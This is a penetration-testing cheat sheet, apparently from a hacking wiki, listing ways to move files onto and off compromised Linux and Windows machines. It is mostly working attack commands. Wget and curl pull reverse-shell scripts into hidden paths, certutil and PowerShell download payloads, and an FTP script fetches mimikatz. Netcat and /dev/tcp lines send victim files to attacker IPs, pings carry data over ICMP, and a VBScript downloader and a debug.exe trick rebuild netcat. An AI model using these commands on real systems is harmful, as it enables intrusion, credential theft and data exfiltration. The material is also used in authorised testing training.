# Exfiltration ## Copy\&Paste Base64 #### Linux ```bash base64 -w0 #Encode file base64 -d file #Decode file ``` #### Windows ``` certutil -encode payload.dll payload.b64 certutil -decode payload.b64 payload.dll ``` ## HTTP #### Linux ```bash wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py fetch 10.10.14.14:8000/shell.py #FreeBSD ``` #### Windows ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf #PS (New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe") Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe" wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe" Import-Module BitsTransfer Start-BitsTransfer -Source $url -Destination $output #OR Start-BitsTransfer -Source $url -Destination $output -Asynchronous ``` ### Upload files [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170) ### **HTTPS Server** ```python # from https://gist.github.com/dergachev/7028596 # taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/ # generate server.xml with the following command: # openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes # run as follows: # python simple-https-server.py # then in your browser, visit: # https://localhost:443 #### PYTHON 2 import BaseHTTPServer, SimpleHTTPServer import ssl httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler) httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True) httpd.serve_forever() #### #### PYTHON3 from http.server import HTTPServer, BaseHTTPRequestHandler import ssl httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler) httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True) httpd.serve_forever() #### #### USING FLASK from flask import Flask, redirect, request from urllib.parse import quote app = Flask(__name__) @app.route('/') def root(): print(request.get_json()) return "OK" if __name__ == "__main__": app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) #### ``` ## FTP ### FTP server (python) ```bash pip3 install pyftpdlib python3 -m pyftpdlib -p 21 ``` ### FTP server (NodeJS) ``` sudo npm install -g ftp-srv --save ftp-srv ftp://0.0.0.0:9876 --root /tmp ``` ### FTP server (pure-ftp) ```bash apt-get update && apt-get install pure-ftp ``` ```bash #Run the following script to configure the FTP server #!/bin/bash groupadd ftpgroup useradd -g ftpgroup -d /dev/null -s /etc ftpuser pure-pwd useradd fusr -u ftpuser -d /ftphome pure-pw mkdb cd /etc/pure-ftpd/auth/ ln -s ../conf/PureDB 60pdb mkdir -p /ftphome chown -R ftpuser:ftpgroup /ftphome/ /etc/init.d/pure-ftpd restart ``` ### **Windows** client ```bash #Work well with python. With pure-ftp use fusr:ftp echo open 10.11.0.41 21 > ftp.txt echo USER anonymous >> ftp.txt echo anonymous >> ftp.txt echo bin >> ftp.txt echo GET mimikatz.exe >> ftp.txt echo bye >> ftp.txt ftp -n -v -s:ftp.txt ``` ## SMB Kali as server ```bash kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory kali_op2> smbserver.py -smb2support name /path/folder # Share a folder #For new Win10 versions impacket-smbserver -smb2support -user test -password test test `pwd` ``` Or create a **smb **share **using samba**: ```bash apt-get install samba mkdir /tmp/smb chmod 777 /tmp/smb #Add to the end of /etc/samba/smb.conf this: [public] comment = Samba on Ubuntu path = /tmp/smb read only = no browsable = yes guest ok = Yes #Start samba service smbd restart ``` Windows ```bash CMD-Wind> \\10.10.14.14\path\to\exe CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali" WindPS-2> cd new_disk: ``` ## SCP The attacker has to have SSHd running. ```bash scp @:/ ``` ## NC ```bash nc -lvnp 4444 > new_file nc -vn 4444 < exfil_file ``` ## /dev/tcp ### Download file from victim ```bash nc -lvnp 80 > file #Inside attacker cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim ``` ### Upload file to victim ```bash nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker # Inside victim exec 6< /dev/tcp/10.10.10.10/4444 cat <&6 > file.txt ``` thanks to **@BinaryShadow\_** ## **ICMP** ```bash #In order to exfiltrate the content of a file via pings you can do: xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line ; done #This will 4bytes per ping packet (you could probably increase this until 16) ``` ```python from scapy.all import * #This is ippsec receiver created in the HTB machine Mischief def process_packet(pkt): if pkt.haslayer(ICMP): if pkt[ICMP].type == 0: data = pkt[ICMP].load[-4:] #Read the 4bytes interesting print(f"{data.decode('utf-8')}", flush=True, end="") sniff(iface="tun0", prn=process_packet) ``` ## **SMTP** If you can send data to an SMTP server, you can create a SMTP to receive the data with python: ```bash sudo python -m smtpd -n -c DebuggingServer :25 ``` ## TFTP By default in XP and 2003 (in others it need to be explicitly added during installation) In Kali, **start TFTP server**: ```bash #I didn't get this options working and I prefer the python option mkdir /tftp atftpd --daemon --port 69 /tftp cp /path/tp/nc.exe /tftp ``` **TFTP server in python:** ```bash pip install ptftpd ptftpd -p 69 tap0 . # ptftp -p ``` In **victim**, connect to the Kali server: ```bash tftp -i get nc.exe ``` ## PHP Download a file with a PHP oneliner: ```bash echo "" > down2.php ``` ## VBScript ```bash Attacker> python -m SimpleHTTPServer 80 ``` #### Victim ```bash echo strUrl = WScript.Arguments.Item(0) > wget.vbs echo StrFile = WScript.Arguments.Item(1) >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs echo Err.Clear >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs echo http.Open "GET", strURL, False >> wget.vbs echo http.Send >> wget.vbs echo varByteArray = http.ResponseBody >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs echo strData = "" >> wget.vbs echo strBuffer = "" >> wget.vbs echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs echo Next >> wget.vbs echo ts.Close >> wget.vbs ``` ```bash cscript wget.vbs http://10.11.0.5/evil.exe evil.exe ``` ## Debug.exe This is a crazy technique that works on Windows 32 bit machines. Basically the idea is to use the `debug.exe` program. It is used to inspect binaries, like a debugger. But it can also rebuild them from hex. So the idea is that we take a binaries, like `netcat`. And then disassemble it into hex, paste it into a file on the compromised machine, and then assemble it with `debug.exe`. `Debug.exe` can only assemble 64 kb. So we need to use files smaller than that. We can use upx to compress it even more. So let's do that: ``` upx -9 nc.exe ``` Now it only weights 29 kb. Perfect. So now let's disassemble it: ``` wine exe2bat.exe nc.exe nc.txt ``` Now we just copy-paste the text into our windows-shell. And it will automatically create a file called nc.exe ## DNS [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)